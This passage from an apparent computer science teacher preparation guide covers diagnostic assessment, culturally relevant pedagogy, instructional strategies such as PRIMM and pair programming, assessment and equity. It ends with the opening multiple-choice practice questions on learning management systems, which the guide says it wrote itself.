The third is thinking that a variable can hold several values at the same time. A good check is to predict the output of three lines:

```
int x = 1
x = 2
output(x)
```

A student with this belief may report both `1` and `2`, while the correct answer is `2`, because assignment replaces the earlier value. The choice of task matters here. A program with two different variables, each assigned once, never reassigns a variable, so it can't reveal the belief at all.

What students bring

Students arrive with widely different computing experience, and much of it comes from outside school, so their experience is far from uniform even when they attend the same school and use the same devices. One student may have built spreadsheets for a family business, another may design levels for a video game, and another may have no programming experience at all. A readiness check should identify existing assets as well as gaps. A student's experience with spreadsheet formulas, for instance, gives the teacher something to build on, although it doesn't replace instruction. Finding these assets requires asking broadly. A survey limited to formal programming courses misses real knowledge gained outside school and tells the teacher nothing about students who have taken no courses, while a survey that asks about many kinds of digital making, such as spreadsheets, games, video editing, and websites, reveals what students know. Asking broadly also avoids ranking students: even a private exam on prior programming still treats one kind of experience as the only kind that counts. Once a teacher knows how varied the class is, instruction can respond, for example by offering extensions to experienced students while using turn-taking structures so that all students contribute. Asking experienced students to teach the others may seem efficient, but it places an undue burden on them.

Whether the check measures what it should

A readiness check written in academic English measures two things at once, the student's computing knowledge and the student's proficiency in reading English, and for a multilingual learner the second can hide the first. If a student who scores poorly on a written question about loops explains the same loop correctly when shown code and asked aloud, the written format may have limited what the student could show. Using visuals, examples, and a student's preferred language in a readiness check helps separate content understanding from language proficiency, so that the results reflect what the student actually knows. A wordy question about the effect of removing a statement from a loop can be rewritten by showing the loop, marking the statement, and asking, "What happens if this is removed?", which keeps the same idea while removing unnecessary language. Task formats can lower language demands too. Putting scrambled lines of code in a working order focuses on logic with little reading, whereas matching vocabulary words to definitions has low language demands but doesn't test reasoning about a loop. Translation helps, but machine-translated assessments should be checked for technical errors, because a mistranslated technical term can change what a question measures. Knowing what students already know, and what they bring, is the starting point for connecting new learning to it, which is the subject of 0005.c.

- **diagnostic assessment**: an assessment before instruction that identifies what students already know
- **misconception**: a common mistaken idea that instruction must address directly
- **assignment**: storing a value in a variable, written with = in many languages
- **comparison**: checking whether values are equal, often written ==
- **asset**: knowledge or experience a student brings that instruction can build on

Practice questions: 0005.b, page 894.

0005.c Culturally relevant connections

Section 0005.b ended with knowing what students bring, and this section is about using it. The guiding framework is **culturally relevant pedagogy**, a theory of teaching developed by Gloria Ladson-Billings, which has three components: it builds on students' cultural knowledge and experiences, it maintains high expectations, and it develops critical awareness of societal issues. The practices in this section can be read as ways of carrying out those components. Drawing on funds of knowledge and activating prior knowledge build on what students already know. Personally meaningful projects connect the goal to students' identities while keeping the expectations in place. Work on community issues develops the critical awareness. The section first looks more closely at the framework, since it is easy to adopt in name and miss in practice, and then takes up each practice.

What culturally relevant pedagogy asks

All three components have to be present together, and each rules out a common imitation. Building on students' experiences means building on these students' actual experiences, so it draws on knowl-

edge of the students in the room, not on assumptions about a group they belong to. A teacher who designs a unit around a music genre because of students' ethnicity, without asking them, is drawing on assumptions, and the remedy is to learn from the students what matters to them. Relevance also isn't decoration: putting students' neighborhood on a worksheet, or theming a lesson around a cultural holiday, doesn't by itself build on anything students know. The second component, high expectations, means that building on students' experiences happens alongside rigor. A suggestion to drop the technical criteria from a project because students from a particular background will find it more relevant without them works against the approach, which treats lowered demands as a failure of respect. The third component, critical awareness, asks students to examine who is affected by a system and why. A lesson in which students analyze local housing data using rigorous criteria and then discuss whom the patterns affect shows all three components at work. So does a project in which students apply what they know about algorithms to their own experience, asking whom a ranking algorithm might help or harm in their community and why, and asking critical questions about how people like them are represented, with evidence, not the teacher's opinion, driving the inquiry. In each case, technical knowledge is linked both to students' experiences and to questions of power.

Building on what students know

The first component becomes concrete through **funds of knowledge**, a term from the research of Luis Moll and colleagues for the skills and knowledge students bring from their families and communities, which teachers can treat as resources for learning computer science. Family work such as budgeting, repair, and cooking involves procedures and data that are useful in computing. A student who helps diagnose car faults in a family repair shop has learned a systematic fault-tracing procedure, which connects directly to debugging. A student whose family weaves knows patterns built from repetition and structure, which connect naturally to loops, for instance by modeling a repeating row of the weave in code. These connections don't happen on their own, though, so the teacher has to make them explicit. Giving the car-repair student a car-themed programming assignment uses her topic but leaves her expertise untouched, while connecting her fault-tracing procedure to debugging lets her apply it in code. Finding these funds of knowledge requires asking students and family members directly what they do and know. Student profiles, demographic data, or a teacher's own history lead to assumptions, the very thing the framework warns against.

Prior knowledge can also be activated with everyday analogies, which give every student a way into a new idea. Following a recipe illustrates **sequencing**, the idea that steps must happen in order, and a group routine that repeats until some condition is met, such as passing out papers until everyone has one, illustrates loops. For conditionals, a question such as "What decisions do you make each morning, and what do they depend on?" works for every student, unlike questions that depend on experience novices may not have. A familiar photo filter can introduce how a program changes the values of pixels, after which students write a filter of their own. As with funds of knowledge, transfer isn't automatic, so the teacher must connect the analogy explicitly to code, for example by mapping the parts of the routine onto a loop's body and its condition. Analogies also break down, and it

helps to discuss where. The common picture of a variable as a "box" can suggest that a variable holds many values at once, the misconception described under 0005.b. After `x = 1` and then `x = 2`, the program outputs `2`, because assignment replaces the earlier value, so a teacher using the box analogy should show that the box holds only one value at a time.

Connecting to identity through projects

The second component, high expectations, is easiest to keep when students care about the work. Letting students choose the topics and contexts of their projects, such as a game about their community, connects CS goals to their interests and identities.[98][99] The choice concerns the topic, not the learning goal, so the required skills stay in place. An assignment to build a game or story on a topic students choose, required to use both loops and conditionals, does both. A student who builds an animation about her family's traditions has connected the goal to her interests and identity, and the programming demands and the grading criteria haven't changed. If her project repeats the same code many times, the right response is to keep the topic and have her revise the repeated code using loops, so that she keeps ownership and still meets the goal. The same reasoning applies to evaluating project proposals: the question is whether a proposal lets the student use the target skills on a topic of personal interest, not how ambitious it is or which tools it uses, and steering students away from topics in their own communities works against the aim. Novices may need support to take on an open-ended project, and starter code with structured choices, which students then make their own, supports them without removing personal meaning. A fixed template would give support but take away students' ownership.

Connecting to community issues

The third component, critical awareness, comes into focus when students use computing on questions that matter where they live. Analyzing local data or building tools for local needs shows students that computer science can be used to pursue their own and their community's goals.[100] Students might collect and map reports of broken streetlights or unsafe crossings and then share their findings with local officials. Data informs public discussion in such a project, though it doesn't settle it. Building a tool for a real need, such as an app for a community organization, and testing it with real users gives the design and programming work an authentic purpose and real feedback. Such projects work best when they start from students' own questions, with the teacher helping students form questions and find data to answer them, since a distant data set or a conclusion fixed in advance removes the connection that makes the work matter. Local data carries a responsibility of its own. Data about a community is data about identifiable people, and a home's address can identify a family even when the name is removed, so the class should discuss privacy and aggregate sensitive data, for example by neighborhood, so that no household can be identified. Making these connections is a matter of strategy, and 0005.d surveys the research-based strategies a teacher can draw on.

[98] MWC1, Drawing project: planning, milestones, debugging, and version control through `mwc submit`.
[99] MWC1, Game project: proposing, building, and revising a personally meaningful game.
[100] MWC1, Argument project: collecting and using data to make a claim.

- **culturally relevant pedagogy**: teaching that builds on students' cultural knowledge and experiences, maintains high expectations, and develops critical awareness of societal issues
- **critical awareness**: examining who is affected by a system and why
- **funds of knowledge**: the skills and knowledge students bring from their families and communities
- **activating prior knowledge**: connecting a new idea to something students already know, such as an everyday routine
- **sequencing**: carrying out steps in a set order
- **aggregating data**: combining records into groups so that individuals can't be identified

Practice questions: 0005.c, page 900.

0005.d Instructional strategies

With a goal defined, students' starting points known, and connections to their experience in mind, the next decision is what students will actually do. Computing education research offers a set of strategies for this, and many of them can be arranged along a single path: from studying a finished program, to reading and arranging code, to changing a working program, to building something entirely one's own. Moving along that path, the student produces more and the teacher supplies less, so the general idea under all of it, scaffolding, is described first. The section then follows the path from its supported end to its independent end, and closes with two choices that apply at any point along it: how students work together, and which medium they work in, from no computer at all to blocks to text.

Scaffolding and cognitive load

Learning to program is demanding because a novice has to hold many things in mind at once: the problem, the syntax, the meaning of each statement, and the error messages. **Cognitive load** is the demand a task places on working memory, and many of the strategies in this section work by reducing the load that isn't central to the current goal, so that students can attend to what is. **Scaffolding** provides temporary supports for this purpose, such as starter code, sentence frames, and checklists, which are removed gradually as students gain independence. The key word is temporary. Scaffolds that never fade leave students unable to start on their own: a class that always receives a template has had no practice in starting without one. A good scaffold guides the process while students still do the work. A checklist of debugging steps that students work through is a scaffold, while handing a struggling student a corrected program does the work for them. Scaffolds also support the language of computing. A sentence frame such as "This loop repeats until ___." helps a student explain code in writing, while exempting a multilingual learner from written explanations removes the opportunity to learn to explain code at all.

Studying complete programs

At the most supported end of the path, students study code someone else has written. **Worked examples** show complete solutions with explanations of each step. They reduce cognitive load, since novices can focus on a solution's structure without having to search for one, and they model how an expert reasons through a problem. Their value increases when students are prompted to explain the example to themselves, a practice called **self-explanation**: a prompt such as "Explain why the loop starts at 0, and what would change if it started at 1" deepens learning in a way that simply running the program, which confirms its output without asking why, doesn't. Worked examples don't remove the need for practice, though, and they should fade as skill grows, in favor of more independent problem solving.

Live coding shows not only a finished solution but the process of reaching it. The teacher writes code in front of the class, thinking aloud, making real errors, and showing how to read error messages and fix them. Because students watch an expert encounter and handle errors, live coding normalizes debugging as an ordinary part of programming instead of a sign of failure.

Reading and arranging code

The next step asks students to work with code actively, still without writing it from a blank file. **PRIMM** sequences a programming lesson in five stages: predict, run, investigate, modify, make. Students first predict what a short program will do, then run it to check their prediction. A mismatch between a prediction and the result exposes how students think code works, giving the class something to investigate. In the investigate stage, students examine how the program works, for example by tracing how a variable `total` changes and explaining the role of each statement. They then modify the program, changing parts of it, before making one of their own. The sequence moves from reading code to writing it, and reading first reduces the cognitive load of learning to write, since students focus on how programs work before producing their own. The modify stage bridges the two.

Parsons problems ask students to arrange given lines of code into a working order. Because the lines are provided, students practice syntax and logic with less cognitive load than a blank file imposes. A Parsons problem differs from a worked example, which shows the solution already in order, and from copying or tracing code, neither of which asks students to construct anything. Some Parsons problems include **distractor lines**, extra lines that contain common errors, so that students must discriminate between correct code and a likely mistake; the extra lines add some load, which is the trade-off for that benefit. Parsons problems suit students who are beginning to combine constructs and need focused practice. Students must already have some sense of what the lines do, and advanced students need more open tasks. When an online tool checks each arrangement automatically, students can guess their way to a solution, so limiting the number of checks and asking students to explain the order makes them reason about the structure.

Modifying working programs

Use-modify-create describes the middle of the path as a progression of its own. Students first use an existing program, then modify it, then create their own, which gradually transfers ownership of the program from the teacher to the student. In a game unit, students might play a provided game, then change its speed and rules, then design an original game. The stages differ in what students change: in the use stage, they change nothing; in the modify stage, they change an existing program in limited ways; and in the create stage, they build the structure themselves. Starting with code that runs gives students a safe entry and lowers the initial risk of failure, and the sequence leads to writing code, without replacing it. The stages can also be revisited. When a student faces a blank file and can't begin, returning to a working example the student can change and build on gets the student moving while keeping the student's own work.

Building one's own

At the independent end of the path, students build things of their own design. **Constructionism**, a theory associated with Seymour Papert, holds that learners build knowledge especially well when they are making shareable, personally meaningful artifacts, such as a game, an animation, or a data story.[101] Both qualities matter. An assignment in which students create a data story on a question they care about and present it to others fits the theory, while an assigned chart submitted only to the teacher is neither personal nor shared. Sharing is part of the idea, and posting works in progress lets students learn from one another's designs, while grading every project against a single model works against personal meaning. The learning comes through the student's own building, not merely having an artifact, so if a teacher fixes a student's project so thoroughly that the teacher's work takes the place of the student's, the student's learning remains in doubt even though the artifact is finished. This is the theory behind the personally meaningful projects described under 0005.c.

Working together: pair programming

The strategies above can be done alone or with others. **Pair programming** is a structured way for two students to work on one program. They share one computer, with one student as the **driver**, who types, and the other as the **navigator**, who reviews each line and thinks ahead, and they switch roles regularly. Shared attention and discussion are the point, so instructions such as "Share one screen, talk through decisions, and trade roles when the timer sounds" capture the practice, while dividing the program into halves means that partners no longer work on the same code together. Pair programming supports learning and persistence, since partners help each other through difficulty and share problem solving when one of them gets stuck. Its benefits depend on equitable participation, which doesn't happen on its own. Confident students tend to take the keyboard and the decisions, and leaving roles to students can make existing imbalances worse. Teachers make pairing equitable by pairing students thoughtfully, using a timer so that partners regularly exchange roles, monitoring the dynamics, and adjusting when one student dominates.

[101] LAI 516, Media: Scratch: constructionist design, low floor, events, and blocks.

Separating the partners removes the benefit of working together, and asking a silent partner to write a report doesn't involve that student in programming.

Choosing a medium

The last choice is the medium students work in, and the options range from no computer at all to professional programming languages. **Unplugged activities** teach computing concepts without computers, often through physical movement or cards. Students can model routing by passing labeled message cards through classmates who act as routers, which involves every student at once, unlike watching an animation of routing in turns, which leaves most students idle. Students can model binary with cards showing 1, 2, 4, 8, and 16 dots, turning cards face up or down to make a number. Unplugged activities work well when they connect explicitly to later programming or to how computers actually work. If students learn the concepts through cards but struggle when they reach code, the bridge to code wasn't built. A question such as "How could a computer use on and off states to store the number 11?" makes the connection, whereas simply finding the cards for 11 uses the model without linking it to computers, and repeating an activity doesn't make the link either.

Once students are at computers, the main choice is between block-based and text-based languages. **Block-based tools** such as Scratch, in which students snap together visual blocks, offer a **low floor**, meaning that beginners can make something working quickly, and they prevent syntax errors, though not logic errors.[102] **Text-based languages** offer greater power, such as libraries for working with data. Blocks are real programming: they use the same core constructs as text, including loops and conditionals, and conceptual learning transfers from one to the other. The choice should fit students' goals and context. For novices making interactive stories in two weeks, a block-based tool suits the goal, while students who already have experience with text and want to analyze large data sets need a text-based language with data libraries. Text-based tools designed for beginners, such as Unfold Studio for interactive storytelling, offer an alternative to blocks.[103] When students move from blocks to text, showing block and text versions of the same program side by side eases the transition, because students can see familiar ideas in the new notation. A teacher who chooses a strategy should be able to say why it fits the goal, and 0005.e describes how to make that case.

- **cognitive load**: the demand a task places on working memory
- **scaffolding**: temporary supports, such as starter code, sentence frames, and checklists, removed gradually as students gain independence
- **worked example**: a complete solution with explanations
- **self-explanation**: students explaining to themselves why each step of an example works
- **live coding**: writing code in front of students while thinking aloud and handling errors
- **PRIMM**: predict, run, investigate, modify, make
- **Parsons problem**: arranging given lines of code into a working order
- **distractor line**: an extra line in a Parsons problem that contains a common error

[102] LAI 516, Media: Scratch: constructionist design, low floor, events, and blocks.
[103] LAI 516, Unfold Studio: text-based interactive storytelling as an alternative to blocks.

- **use-modify-create**: moving from using a program, to modifying it, to creating one's own
- **constructionism**: the theory that learners build knowledge especially well when making shareable, personally meaningful artifacts
- **pair programming**: two students sharing one computer as driver and navigator, switching roles regularly
- **driver**: the partner who types
- **navigator**: the partner who reviews and thinks ahead
- **unplugged activity**: teaching computing concepts without computers
- **low floor**: the ease with which beginners can start making something
- **block-based language**: a language, such as Scratch, in which programs are built from visual blocks

Practice questions: 0005.d, page 908.

0005.e Explaining how a strategy works

Choosing one of the strategies in 0005.d is half the work, and the other half is being able to explain why it will help students reach the goal, in a lesson plan, to a colleague, or to an administrator. A strong explanation of this kind has four parts, each answering a different question. The first says what students will do and which part of the objective it develops. The second explains the mechanism, how the activity produces learning. The third names a misconception the activity is designed to expose and correct. The fourth shows how support is withdrawn so that students can perform the skill independently by the end. Together these form a chain from activity to independent performance, and a weak explanation usually has a broken link somewhere along it.

Linking the activity to the objective

The first link connects what students do to what they are supposed to learn. A strong explanation states what students will do during an activity and which part of the objective it develops, instead of simply describing the activity. For an objective about writing loops that accumulate a total, "Partners trace a total through each iteration and then write the loop" improves on "Students will do a partner activity on loops," because it names the action and shows that it develops the skill in the objective. For an objective about how data sets can underrepresent groups, an activity in which students compare two data sets on a topic, identify who is underrepresented, and explain the effect has students directly practice the skill the objective names. A single sentence can make this link explicit: "Comparing the two versions helps students see how parameters allow reuse, which is the objective." Appeals to enjoyment don't make the link. "Students will like it because it is fun" may be true, and engagement can help, but it doesn't show how the activity develops the objective.

Explaining the mechanism

The second link explains how the activity works, and this is where knowledge of how students learn shows. A rationale should explain the **mechanism** by which a strategy helps. Tracing code before

writing it builds a mental model of how code runs while lowering the cognitive load of producing syntax, which is why it suits novices. Explaining code aloud to a partner surfaces gaps and misconceptions, because saying one's reasoning makes its flaws audible to oneself and others. For a Parsons problem, a good rationale might say, "It lets students focus on logic and order instead of syntax, which is the current goal," explaining how easing one demand supports another. Sketching a flowchart before coding works the same way, since planning the flow of decisions on paper separates logic from syntax and lets students manage one demand at a time. Debugging in pairs asks students to state a hypothesis about the fault, which brings mistaken ideas about the code to the surface. Appeals to popularity, to tradition ("this is how I was taught"), or to slogans don't explain a mechanism. "Students learn by doing" is a slogan: it doesn't say which doing, or how the doing develops the specific skill in the objective.

Addressing an anticipated misconception

The third link shows that the teacher knows where students are likely to go wrong. A clear rationale can name a common misconception in advance and explain how the activity exposes and addresses it. Naming the specific misconception is what allows the activity to target it: "Students may think that a loop's body runs only once, so the activity has them trace three iterations" is stronger than "The activity addresses misconceptions about loops." The most effective activities create a confrontation between the misconception and evidence. If students predict and then trace `x = x + 1`, a student who reads `=` as mathematical equality, the misconception described under 0005.b, will find the statement impossible, since no number equals itself plus one. Discussing why it isn't an equation, and watching the value of `x` change, confronts the idea directly. In the same way, asking students to predict which values a list holds at particular positions and then running the code lets a wrong prediction do the teaching. Students revise their ideas when they confront evidence that contradicts them, more reliably than when they are simply told the right answer, so the best response to a student's misconception is often to ask the student to test the idea and explain why the result differs from what they expected.

Showing the progression to independence

The last link connects the activity to the end of the lesson, when students should be able to show the skill without help. A strong explanation shows how supports are reduced during the lesson, typically moving from teacher modeling, through **guided practice**, in which students work in pairs with teacher feedback, to independent work. Guided practice is the bridge between the two ends: students do the work themselves, but with support close at hand. The independent task should ask students to apply the skill to a new situation, such as writing a short conditional for a situation they haven't seen, without hints, since repeating the modeled example shows recall more than skill. The explanation should also include evidence of individual performance. Group products alone may not show what each student can do, so a lesson in which students work only in groups needs some way, such as an individual exit task, for each student to demonstrate the skill. That evidence is assessment, the subject of 0005.f.

- **rationale**: an explanation of how an activity supports a learning goal
- **mechanism**: the way a strategy produces learning, such as lowering cognitive load or surfacing misconceptions
- **anticipated misconception**: a specific mistaken idea named in advance, which an activity is designed to expose
- **guided practice**: students doing the work with feedback and support close at hand
- **independent practice**: students performing the skill on their own, on a new situation

Practice questions: 0005.e, page 922.

0005.f Assessment

Section 0005.e ended with the need for evidence of what each student can do, and assessment is how a teacher gathers that evidence and puts it to use. Assessment is best understood as a cycle. It starts with a purpose, since the same task can serve different ends. It continues with gathering evidence, through quick checks during learning, rubrics for larger work, and explanations that reveal understanding behind a finished product. Then the evidence is interpreted, by looking for patterns across the class and within groups. Finally, it is acted on, both by the teacher, who adjusts instruction, and by students, who use feedback to improve. This section follows that cycle.

Purposes: formative and summative

The first distinction is about purpose. **Formative assessment** gathers evidence during learning to guide next steps, informing both teacher and students while learning is still under way. **Summative assessment** evaluates learning at the end of a unit, as an end-of-unit project graded with a rubric does. In a unit with short daily checks and a graded final project, the daily checks are formative and the project is summative. What defines the category is how the results are used, not the format of the task: the same quiz is formative if it shapes tomorrow's lesson and summative if it produces a final grade. Stakes matter as well, because they affect whether the evidence is honest. If exit tickets count heavily toward grades, students have reason to copy answers or hide confusion, so using tickets as low-stakes evidence for planning, instead of as grades, keeps the information they provide trustworthy.

Gathering evidence

Formative assessment depends on tools that are quick enough to use often and revealing enough to act on. Useful formative tools in computer science include **exit tickets**, short tasks completed at the end of a lesson, such as one code-tracing question; code-tracing questions in general, which show whether students can follow what a program does; **Parsons problems**, described under 0005.d; **peer code review**, in which students read and comment on each other's code, giving feedback during the work; and observation with a checklist. Observation captures practices as they are being carried out, such as how students test, debug, or collaborate, which are hard to see in a test. A brief one-on-one walkthrough, in which a student explains a piece of code, reveals understanding

directly. Automatic graders have a place too, but they are limited: they may show that code works without revealing why it works or how the student got there, so other tools are needed to reveal reasoning.

Larger work calls for a **rubric**, which makes the criteria for quality explicit. A rubric for a programming project can assess functionality, design, readability, and process separately, instead of scoring only whether a program runs, and a rubric that awards all its points for a working program doesn't assess readability or design at all. Criteria should reflect what the course values. Sharing the rubric with students before they begin, along with examples of quality work, lets students see what quality looks like and guides their work. Each criterion needs a clear definition. A criterion such as "creativity" with no description makes grading inconsistent, since different graders, or the same grader on different days, will read it differently, and vague criteria may also favor students who already share the teacher's unstated expectations.

A finished artifact, however, can hide what its maker understands, which is why **authentic assessment** of project work combines artifacts with explanations. Code walkthroughs, in which a student explains the program, and written reflections from each student help show each student's understanding. This matters most where the artifact alone is ambiguous: in group work, where one student may have done most of the coding; with copied code; and with code produced by generative AI. Explanations, process, and live modification of code are much harder to outsource than a finished product, so assessment that gives them more emphasis shows understanding more reliably. If a teacher suspects that a student didn't write submitted code, asking the student to walk through and modify it checks understanding without making assumptions. A reflection prompt such as "Describe a bug you found, how you diagnosed it, and what you would do differently" reveals both process and **metacognition**, the student's awareness of their own thinking.

Interpreting evidence

Evidence is useful only when someone looks at it for patterns. Teachers should examine assessment results for patterns and then decide whether to reteach, regroup, or offer extensions. If many students' answers on a nested-loop question show that they believe the inner loop runs only once in total, the pattern points to reteaching how the inner loop runs for each pass of the outer loop, using tracing. If only some students miss questions about boundary cases, a small-group lesson on boundaries while the others take an extension targets the specific error without holding everyone back.

Two further habits make interpretation more accurate. The first is to **disaggregate** results, separating them by group, such as by gender or by role in group projects. Data broken down this way can reveal equity issues that total scores hide, such as how classroom structures and group roles affect who participates and who learns. The second is to question the assessment itself. If nearly everyone misses a question, the likeliest explanation is that the question or the instruction was flawed, not that the whole class failed to learn, and looking at how students answered each question can reveal which.

Acting on evidence: feedback

The teacher's response to evidence is adjusting instruction, and the student's response depends on feedback. Effective **feedback** is timely, specific, and directed at how to improve. "Your loop works for typical input. Try an empty array and trace what happens to `total / size`" is specific and gives a next step, which "Good job" or "Check your edge cases" doesn't. Feedback should be directed at the task, not the person, so "This variable name hides its purpose; try one that says what it holds" helps where "You're careless with names" doesn't. Timing matters because feedback is useful only while students can still act on it, which is why feedback on drafts does more than comments on a final submission. Feedback in programming should also treat errors as a normal part of the work, which they are for every programmer. Sharing debugging stories, including the teacher's own, and giving credit for diagnosing errors treat errors as information and support persistence. All of these practices assume that every student has a fair chance to learn and to show it, and 0005.g turns to what that requires.

- **formative assessment**: assessment during learning that guides next steps
- **summative assessment**: assessment that evaluates learning at the end of a unit
- **exit ticket**: a short task completed at the end of a lesson
- **peer code review**: students reading and commenting on each other's code
- **rubric**: a scoring guide that makes criteria explicit
- **authentic assessment**: assessing artifacts together with explanations, such as code walkthroughs and reflections
- **code walkthrough**: a student explaining how a program works
- **metacognition**: awareness of one's own thinking
- **disaggregating data**: separating results by group to reveal patterns that totals hide
- **feedback**: information to a student that is timely, specific, and directed at how to improve

Practice questions: 0005.f, page 928.

0005.g Inclusion and equity

Equity has come up throughout this part, in readiness checks that separate language from content, in culturally relevant connections, in equitable pairing, and in disaggregated data. This section gathers those threads, because inclusion isn't a separate step in teaching but a concern at every step. It works at several levels. At the level of the field, it starts with history: who has been kept out of computing, and why. At the level of a teacher's outlook, it asks for an asset-based perspective. At the level of lesson design, Universal Design for Learning plans for the variety of all learners from the start. For particular students, there are specific supports, some of them legal obligations, for students with disabilities and for multilingual learners. And at the level of daily classroom life, inclusion depends on belonging, on equitable participation and access, and on how students come to see their own ability.

Who has been left out, and why

Girls, Black, Latino, and Indigenous students, students with disabilities, and students from low-income families have historically been underrepresented in computer science. The causes are unequal access and stereotypes about who belongs, not differences in ability.[104] Unequal access includes schools that offer no CS courses, along with gaps in devices, connectivity, and early experiences. Stereotypes shape students' choices: what looks like a free choice not to take a course is shaped by access, by encouragement from teachers and family, and by images of who belongs in the field. Schools can reinforce these patterns without meaning to. A requirement that students obtain a teacher's recommendation before enrolling can act as **gatekeeping**, since recommendations tend to go to students who already fit the image of a programmer, and the remedy is removing the requirement and recruiting broadly. Offering a course doesn't by itself change who takes it, either. A school whose new CS course enrolls almost entirely one group should examine its messaging, its recruitment, and its classroom culture. The Exploring Computer Science curriculum was designed with these problems in mind, combining inquiry-based teaching with an explicit focus on equity in an introductory course.

An asset-based perspective

Responding to that history begins with how a teacher sees students. An **asset-based perspective** treats students' languages, cultures, and experiences as strengths to build on, instead of as deficits to fix.[105] A deficit description such as "These students lack computer skills and come from homes without technology" can be rewritten as "These students have experience with phones and games, and they are new to programming," which names real experience and the learning ahead. A teacher with a bilingual student might encourage use of both languages to reason about code while building technical vocabulary, instead of treating the home language as an obstacle. An asset-based perspective doesn't mean low demands: support accompanies high expectations. Simplifying a course for a group of students on the assumption that they can't handle more assumes limited ability instead of building on strengths. The same perspective applies to interest in computing, which doesn't look only one way. A student drawn to music, art, or social causes may become deeply engaged with computing through those interests, so offering multiple entry points values more students' interests.

Universal Design for Learning

An asset-based perspective shapes how a teacher sees students, and **Universal Design for Learning (UDL)** shapes how a teacher designs lessons. UDL plans from the start for the variety among all learners, instead of designing for an imagined typical student and retrofitting accommodations afterward. It calls for multiple means of three things. **Engagement** is how students are drawn into and sustained in learning, for example through choices of topic. **Representation** is how content is presented, for example as a video, a diagram, and runnable code showing the same idea. **Action and expression** is how students show what they know, for example through a choice among a

[104] LAI 516, Exploring Computer Science: inquiry and equity in an introductory curriculum.
[105] LAI 516, Design of a UB-BPS high school: how values and institutions shape computing education.

flowchart, a recorded explanation, or code. Because UDL anticipates variety, it helps all learners, including those whose needs have never been documented, and the supports it builds in often help many students beyond those they were designed for.

Supporting particular learners

UDL serves everyone, and some students also have specific needs that require specific responses. For students with disabilities, the responses are partly legal. An **Individualized Education Program (IEP)**, under special education law, and a **504 plan**, under Section 504 of the Rehabilitation Act, are legally binding documents that specify a student's accommodations, and teachers must follow them. Beyond what the plans require, teachers can offer accessible tools, such as programming environments that work with a screen reader, chosen in collaboration with support staff. They can **chunk** tasks, dividing a project into checkpoints, sometimes with extended deadlines, or giving a visible checklist with short, clear steps, which supports working memory and attention. And they can offer flexible ways of demonstrating learning. Throughout, accommodations provide access to the goal without lowering it: a student who completes a project in checkpoints with extended deadlines still demonstrates the same target skills.

Multilingual learners, students developing proficiency in English alongside other languages, benefit from key vocabulary taught in context, with visuals and code examples, along with sentence frames, translated resources, and opportunities to use their home languages. A student who writes code comments in a home language is using it to reason about the code, which should be allowed, with English terms added over time. Programming creates a particular difficulty with everyday words that have technical meanings. Words such as "while" and "for" mean something specific in code, different from their everyday use, and may need explicit explanation. The principle is to keep the computer science demand while reducing the language load that isn't part of it. If a word problem uses an unfamiliar context, such as a sport the student doesn't know, rewriting it in a familiar context, or with a visual, keeps the same programming demands while removing the barrier.

Belonging and participation

Students learn best in a classroom where they feel they belong, and many students, influenced by the stereotypes described above, enter a CS classroom unsure that they do. Inclusive classrooms use diverse role models, relevant projects, and norms that value help-seeking and multiple forms of participation, such as recognizing designing, testing, and documenting as well as coding, all of which counter the stereotype that computing is for a narrow group. Role models matter because they signal who belongs, so a classroom's posters, videos, and guest speakers should include people of varied backgrounds and show a wide range of computing work. Projects matter because varied examples, chosen with input from students on what interests them, signal that computing is for everyone. Norms matter because one stereotype, that "real programmers" started as children and never need help, discourages students who are new or who struggle. Sharing the varied paths of real professionals and affirming that skill grows with practice and help-seeking counters it, as does treating questions as a sign of good practice, with the teacher modeling them.

Participation also has to be made equitable deliberately, because groups left to themselves tend to reproduce existing imbalances. Teachers should watch for unequal participation in group work, such as one student doing all the typing, and rotate defined roles so that every student codes, tests, and documents. Structured turn-taking, or pair discussion before sharing with the whole class, widens who speaks. Assigning groups thoughtfully and teaching collaboration norms prevent exclusion. Access to technology outside school varies too, so teachers should avoid assignments that require technology some students don't have at home, providing class time, loaned equipment, or an offline option so that the same goal is reachable by everyone.

Stereotype threat and growth mindset

Even with equal access, students' beliefs about themselves affect how they perform. **Stereotype threat**, described by the psychologists Claude Steele and Joshua Aronson, is anxiety about confirming a negative stereotype about one's group, and it can reduce performance. It can be triggered even by well-meant remarks, as when a teacher mentions a stereotype about girls and computing in order to motivate girls to disprove it. Reducing how prominent identity is before a test may reduce the threat, for instance by moving demographic questions to the end of a test. A complementary approach draws on research on **growth mindset**, associated with the psychologist Carol Dweck: framing ability as something that grows through effort, good strategies, and feedback helps counter the belief that ability is fixed. "Programming skill grows through effort, good strategies, and feedback" expresses the idea. Praising effort alone isn't enough, though. A student who has worked hard without improving needs a discussion of specific strategies to try, along with notice of what the student has already improved, because growth comes from effective strategies as well as effort.

These ideas complete the arc that began with a learning goal in 0005.a. A teacher who knows the content of the earlier parts, unpacks goals carefully, finds out where students stand, connects to what they bring, chooses strategies for reasons, gathers and uses evidence, and makes every stage open to every student is practicing the pedagogical content knowledge this part describes.

- **gatekeeping**: requirements, such as teacher recommendations, that limit who can enroll
- **asset-based perspective**: treating students' languages, cultures, and experiences as strengths to build on
- **Universal Design for Learning (UDL)**: planning from the start for multiple means of engagement, representation, and action and expression
- **Individualized Education Program (IEP)**: a legally binding plan of special education services and accommodations
- **504 plan**: a legally binding plan of accommodations under Section 504 of the Rehabilitation Act
- **accommodation**: a change that provides access to a goal without lowering it
- **chunking**: dividing a task into smaller steps or checkpoints
- **multilingual learner**: a student developing proficiency in English alongside other languages
- **sentence frame**: a partial sentence that scaffolds how students talk or write about an idea
- **stereotype threat**: anxiety about confirming a negative stereotype, which can reduce perfor-

mance

- **growth mindset**: the belief that ability grows through effort, strategies, and feedback

Practice questions: 0005.g, page 937.

Part 5: Practice questions

These multiple-choice questions were written for our program. They are not official test items. There are five questions for each topic in the content summary, grouped here by competency, indicator and topic, and each indicator section of Part 4 links to its questions. Answers with explanations are in Part 6, and each question links to its answer.

0001 Impacts of computing

0001.a Computing in classrooms, homes, and communities

Read about this in the content summary: 0001.a, page 11.

Classroom learning platforms

0001.a.1.1

A learning management system report shows that one student logged in far less often than classmates but earned high scores on every assignment. The teacher can most reasonably conclude that:

A. the grading scheme overweights assignments relative to participation.

B. the student is likely receiving unauthorized help on the assignments.

C. the course materials should be moved to a different platform.

D. login counts alone do not establish how much was learned.

Answer: page 950

0001.a.1.2

A teacher wants to spot students who may need support before a unit test. Which feature of a learning management system would most directly help?

A. folders that organize materials by course unit

B. reports of missing work and quiz results

C. a discussion board open to all sections

D. a shared calendar of assignment due dates

Answer: page 950

0001.a.1.3

A school administrator proposes ranking teachers by how often their students log in to the district's learning management system. The strongest objection is that this metric:

